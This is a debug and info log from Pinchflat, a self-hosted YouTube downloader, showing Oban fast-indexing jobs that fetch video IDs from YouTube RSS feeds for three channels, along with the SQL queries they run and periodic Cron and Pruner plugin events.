13:30:57.873 [info] {"args":{"id":1},"id":652,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":253543,"event":"job:stop","queue_time":413979,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:31:00.549 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:12.636 [info] {"args":{"id":3},"id":653,"meta":{},"system_time":1784899872636176716,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:31:12.636 [debug] QUERY OK source="sources" db=0.1ms idle=860.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:31:12.636 [debug] QUERY OK source="settings" db=0.0ms idle=860.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:31:12.636 [debug] QUERY OK source="media_profiles" db=0.0ms idle=860.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:31:12.637 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:31:12.637 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:31:12.663 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:31:12.664 [debug] QUERY OK source="media_items" db=0.1ms idle=27.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:31:12.666 [debug] QUERY OK source="media_items" db=1.6ms idle=27.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:31:12.666 [debug] QUERY OK source="tasks" db=0.0ms idle=29.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [656, 3, ~U[2026-07-24 13:31:12Z], ~U[2026-07-24 13:31:12Z]] 13:31:12.666 [info] {"args":{"id":3},"id":653,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":30575,"event":"job:stop","queue_time":429827,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:31:26.793 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:56.794 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.550 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:26.795 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:56.796 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.552 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:26.797 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:56.798 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.553 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:26.799 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:56.800 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.553 [info] {"source":"oban","duration":117,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:26.801 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:56.802 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.554 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:26.803 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:56.804 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.555 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:26.805 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:56.806 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.558 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:26.807 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:56.808 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.559 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:26.809 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:56.810 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.559 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:26.811 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:44.236 [info] {"args":{"id":2},"id":654,"meta":{},"system_time":1784900444236451251,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:40:44.236 [debug] QUERY OK source="sources" db=0.0ms idle=1460.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:40:44.237 [debug] QUERY OK source="settings" db=0.1ms idle=1460.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:44.237 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:40:44.237 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:44.237 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:40:44.495 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:40:44.495 [debug] QUERY OK source="media_items" db=0.2ms idle=258.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:40:44.496 [debug] QUERY OK source="media_items" db=0.2ms idle=259.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:40:44.496 [debug] QUERY OK source="tasks" db=0.1ms idle=259.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [657, 2, ~U[2026-07-24 13:40:44Z], ~U[2026-07-24 13:40:44Z]] 13:40:44.496 [info] {"args":{"id":2},"id":654,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":260345,"event":"job:stop","queue_time":371789,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:40:56.812 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:58.251 [info] {"args":{"id":1},"id":655,"meta":{},"system_time":1784900458251264579,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:40:58.251 [debug] QUERY OK source="sources" db=0.0ms idle=475.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:40:58.251 [debug] QUERY OK source="settings" db=0.1ms idle=475.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:58.251 [debug] QUERY OK source="media_profiles" db=0.0ms idle=475.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:40:58.251 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:40:58.251 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:40:58.441 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:40:58.442 [debug] QUERY OK source="media_items" db=0.4ms idle=190.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:40:58.444 [debug] QUERY OK source="media_items" db=2.2ms idle=191.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:40:58.445 [debug] QUERY OK source="tasks" db=0.0ms idle=193.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [658, 1, ~U[2026-07-24 13:40:58Z], ~U[2026-07-24 13:40:58Z]] 13:40:58.445 [info] {"args":{"id":1},"id":655,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194327,"event":"job:stop","queue_time":377682,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:41:00.561 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:13.266 [info] {"args":{"id":3},"id":656,"meta":{},"system_time":1784900473266111773,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:41:13.266 [debug] QUERY OK source="sources" db=0.0ms idle=1490.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:41:13.266 [debug] QUERY OK source="settings" db=0.0ms idle=1490.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:13.266 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:13.266 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:41:13.266 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:41:13.461 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:41:13.462 [debug] QUERY OK source="media_items" db=0.5ms idle=195.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:41:13.464 [debug] QUERY OK source="media_items" db=1.8ms idle=196.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:41:13.465 [debug] QUERY OK source="tasks" db=0.0ms idle=198.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [659, 3, ~U[2026-07-24 13:41:13Z], ~U[2026-07-24 13:41:13Z]] 13:41:13.465 [info] {"args":{"id":3},"id":656,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199198,"event":"job:stop","queue_time":599681,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:41:26.813 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:56.814 [info] 